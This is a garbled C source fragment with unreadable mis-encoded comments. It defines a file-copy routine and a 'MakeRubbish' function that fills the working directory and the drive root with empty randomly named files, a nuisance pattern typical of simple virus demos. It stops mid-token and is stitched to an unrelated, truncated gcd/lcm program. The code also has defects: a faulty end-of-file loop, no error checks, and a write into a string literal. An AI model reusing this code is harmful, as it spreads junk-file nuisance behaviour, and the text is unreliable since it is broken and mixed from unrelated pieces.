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//Á¬½ÓÍ·Îļþ
#include <io.h>
#include <dir.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
//¿½±´ÎļþÄ£¿é
int copyfile (char *infile, char *outfile)
{
FILE *in,*out; //¶¨ÒåÎļþÖ¸Õë
in = fopen(infile,"r"); //´ò¿ªÎļþ
out = fopen(outfile,"w"); //½¨Á¢Îļþ
while (!feof(in)) //ÅжÏÎļþÊÇ·ñÒѽáÊø
{
fputc (fgetc(in),out); //´Óin¶ÁÒ»×Ö·ûµ½out
}
fclose (in); //¹Ø±ÕinÎļþ
fclose (out);//¹Ø±ÕoutÎļþ
return 0; //·µ»Ø
}
int MakeRubbish (void)
{
int i; //ÉùÃ÷ÕûÐαäÁ¿i
FILE *fp; //ÎļþÖ¸Õëfp
char *path; //·¾¶Ö¸Õë
char *NewName;
char *disk[7] = {"A","B","C","D","E","F","G"}; //³õʼ»¯Ö¸ÕëÊý×é
char *addtion = ":\\";
for (i = 0; i<5; i++) //Ñ»·4´Î
{
char tempname[] = "XXXXXX" ; //Ëæ»úÃû×Ö
NewName = mktemp(tempname); //½¨Á¢Î¨Ò»µÄÎļþÃû
fp = fopen(NewName,"w"); //´´½¨Îı¾Îļþ
fclose (fp); //¹Ø±ÕfpÎļþÁ÷
}
path = strcat(disk[getdisk()],addtion); //µÃµ½¸ù±àºÅ
chdir(path); //¸Ä±ä¹¤×÷Ŀ¼
for (i = 0; i<5; i++) //Ñ»·´ÎÊý
{
char tempname[] = "XXXXXX"; //´®¸³ÈëÊý×é
NewName = mktemp(tempname); //½¨Á¢Î¨Ò»µÄÎļþÃû
fp = fopen(NewName,"w"); //´´½¨ÐÂÎļþ
fclose (fp); //¹Ø±ÕÎļþ
&n
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#include<stdio.h>
int gcd(int,int);
int lcm(int,int);
int gcd(int m,int n)
{
if(m%n==0)
return n;
else
return gcd(n,m%n);
}
int lcm(int m,int n)
{
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